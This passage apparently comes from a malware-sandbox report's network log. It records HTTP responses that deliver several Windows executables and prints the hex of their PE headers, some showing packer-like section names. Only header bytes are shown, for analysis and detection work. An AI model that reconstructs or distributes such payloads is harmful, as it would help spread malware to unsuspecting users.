00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 23 Oct 2024 23:09:29 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 23 Oct 2024 23:09:30 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 23 Oct 2024 23:09:31 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 23 Oct 2024 23:09:32 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 23 Oct 2024 23:10:08 GMTContent-Type: application/octet-streamContent-Length: 2968064Last-Modified: Wed, 23 Oct 2024 22:45:34 GMTConnection: keep-aliveETag: "67197c8e-2d4a00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 d0 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 31 00 00 04 00 00 1a 5f 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 05 00 00 10 00 00 00 5e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 e0 05 00 00 00 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 f0 05 00 00 02 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 79 70 65 79 68 6b 61 6c 00 c0 2a 00 00 00 06 00 00 b4 2a 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 64 65 62 71 7a 7a 66 00 10 00 00 00 c0 30 00 00 04 00 00 00 24 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 30 00 00 22 00 00 00 28 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 23 Oct 2024 23:10:16 GMTContent-Type: application/octet-streamContent-Length: 1809408Last-Modified: Wed, 23 Oct 2024 22:45:40 GMTConnection: keep-aliveETag: "67197c94-1b9c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 40 68 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 68 00 00 04 00 00 e1 5d 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 29 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 69 73 64 63 61 74 61 00 40 19 00 00 f0 4e 00 00 3a 19 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 61 7a 75 78 76 6b 70 00 10 00 00 00 30 68 00 00 04 00 00 00 76 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 68 00 00 22 00 00 00 7a 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 23 Oct 2024 23:10:24 GMTContent-Type: application/octet-streamContent-Length: 919552Last-Modified: Wed, 23 Oct 2024 21:59:03 GMTConnection: keep-aliveETag: "671971a7-e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 9f 71 19 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 4b 82 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 